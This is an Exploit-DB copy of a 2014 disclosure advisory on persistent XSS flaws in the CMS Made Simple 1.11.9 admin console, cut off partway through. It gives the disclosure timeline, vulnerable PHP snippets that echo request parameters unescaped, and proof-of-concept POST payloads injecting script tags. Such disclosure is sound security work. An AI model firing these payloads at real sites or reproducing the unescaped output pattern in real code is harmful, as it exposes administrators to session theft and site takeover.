Exploit-DB #43889
Description: CMS Made Simple 1.11.9 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-10-12
Author: Pedro Ribeiro

Exploit:
> Vulnerabilities in CMS Made Simple, version 1.11.9
> Discovered by Pedro Ribeiro (pedrib@gmail.com) of Agile Information Security
> Reported to ted@cmsmadesimple.org and calguy1000@cmsmadesimple.org 

Disclosure: 28/02/2014 / Last updated: 12/10/2014

CMS Made Simple, an open source content management system, allows for faster and easier management of website content. This CMS is scalable for small businesses to large corporations.

TL;DR: 
XSS in admin console, weak CSRF protection and a possible PHP object insertion via unserialize.

These vulnerabilities were considered unimportant by the CMS Made Simple developers. Their reasoning was that they had to be exploited by a logged in administrator user who is a trusted user anyway. When I explained to them that with XSS all you need to do is send a malicious link to the administrator, they responded back saying that they are confident in their CSRF protection. I then sent them an analysis of their CSRF protection (at the bottom of this advisory), which I found to be quite weak. Finally they commited to implement a half-assed mitigation for the CSRF token weakness but said they will not fix the other issues.


Timeline:
- 27.11.2013: Initial contact to the emails listed in www.cmsmadesimple.com. No reply.
- 03.12.2013: Message posted in the www.cmsmadesimple.com public forum asking to contact me back. A few hours later I was contacted by calguy and sent him a more complete version of this advisory with recommendations.
- 09.12.2013: calguy responds saying these will not be fixed as you have to be an admin user anyway.
- 13.12.2013: After a few days arguing over email, Robert Campbell, CMS Made Simple project manager, responds with an official note saying they will double the CSRF token length in a future release but will not fix the rest of the issues. 
- 14.12.2013: Handed over to CERT asking for help to try to reason with the CMS Made Simple developers.
- 28.02.2014: Public disclosure by CERT


====================================================================
Vulnerability: Persistent cross site scripting (XSS) in add* pages (CVE-2014-0334)
File(line): cmsmadesimple/admin/addgroup.php(107)
File(line): cmsmadesimple/admin/addhtmlblob.php(165)
File(line): cmsmadesimple/admin/addbookmark.php(92/96)

Code snippet:

addgroup.php:
$group= "";
if (isset($_POST["group"])) $group = $_POST["group"];

...
		<div class="pageoverflow">
			<p class="pagetext">*<?php echo lang('name')?>:</p>
			<p class="pageinput"><input type="text" name="group" maxlength="255" value="<?php echo $group?>" /></p>
			
addhtmlblob.php:
$htmlblob = "";
if (isset($_POST['htmlblob'])) $htmlblob = trim($_POST['htmlblob']);

...

		<div class="pageoverflow">
			<p class="pagetext">*<?php echo lang('name') .' '. lang('gcb_name_help')?>:</p>
			<p class="pageinput"><input type="text" name="htmlblob" maxlength="255" value="<?php echo $htmlblob?>" class="standard" /></p>
		</div>
		
addbookmark.php:
$title= "";
if (isset($_POST["title"])) $title = $_POST["title"];
$url = "";
if (isset($_POST["url"])) $url = $_POST["url"];

...

      <input type="hidden" name="<?php echo CMS_SECURE_PARAM_NAME ?>" value="<?php echo $_SESSION[CMS_USER_KEY] ?>" />
        </div>
				<div class="pageoverflow">
					<p class="pagetext"><?php echo lang('title')?>:</p>
					<p class="pageinput"><input type="text" name="title" maxlength="255" value="<?php echo $title?>" /></p>
				</div>
				<div class="pageoverflow">
					<p class="pagetext"><?php echo lang('url')?>:</p>
					<p class="pageinput"><input type="text" name="url" size="50" maxlength="255" value="<?php echo $url ?>" class="standard" /></p>
				</div>
		
Comment:				
addgroup.php: "group" parameter is written directly onto the page without validation.
addhtmlblob.php: "htmlblob" parameter is written directly onto the page without validation.
addbookmark.php: "title" and "url" parameters are written directly onto the page without validation.

Proof-of-concept:
addgroup.php: (POST) _sx_=39d304b1&group=<script>alert(2)</script>&active=on&addgroup=true
addhtmlblob.php: (POST) _sx_=39d304b1&htmlblob=%22%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E&use_wysiwyg=0&use_wysiwyg=1&content=asas&description=ddd&addhtmlblob=true&submit2=Submit	
addbookmark.php: (POST) title="><script>alert(1)</script>&url="><script>alert(2)</script>&addbookmark=true

NOTE: this will also cause XSS in the respective list* pages.

====================================================================
Vulnerability: Persistent cross site scripting (XSS) in copy* pages (CVE-2014-0334)
File(line): cmsmadesimple/admin/copystylesheet.php(117)
File(line): cmsmadesimple/admin/copytemplate.php(160)
Code snippet:

copystylesheet.php:
$stylesheet_name = '';
if (isset($_REQUEST["stylesheet_name"])) { $stylesheet_name = $_REQUEST["stylesheet_name"]; }

...
		<div class="pageoverflow">
			<p class="pagetext"><?php echo lang('stylesheet'); ?>:</p>
			<p class="pageinput"><?php echo $stylesheet_name; ?></p>
		</div>
		
copytemplate.php:
		<div class="pageoverflow">
			<p class="pagetext"><?php echo lang('template'); ?>:</p>
			<p class="pageinput"><?php echo $template_name; ?></p>
		</div>
		
Comment:				
copystylesheet.php: "stylesheet_name" parameter is written directly onto the page without validation.
copytemplate.php: "template_name" parameter is written directly onto the page without validation.

Proof-of-concept:
copystylesheet.php: (POST) _sx_=39d304b1&stylesheet=%22%3E%3Cscript%3Ealert%285%29%3C%2Fscript%3E&stylesheet_id=32&copystylesheet=true
copytemplate.php: (POST) _sx_=39d304b1&template=%22%3E%3Cscript%3Ealert%2825%29%3C%2Fscript%3E&template_id=15&copytemplate=true&from=listtemplates.php%3F_sx_%3D39d304b1

NOTE: this will also cause XSS in the respective list* pages.

====================================================================
Vulnerability: Persistent cr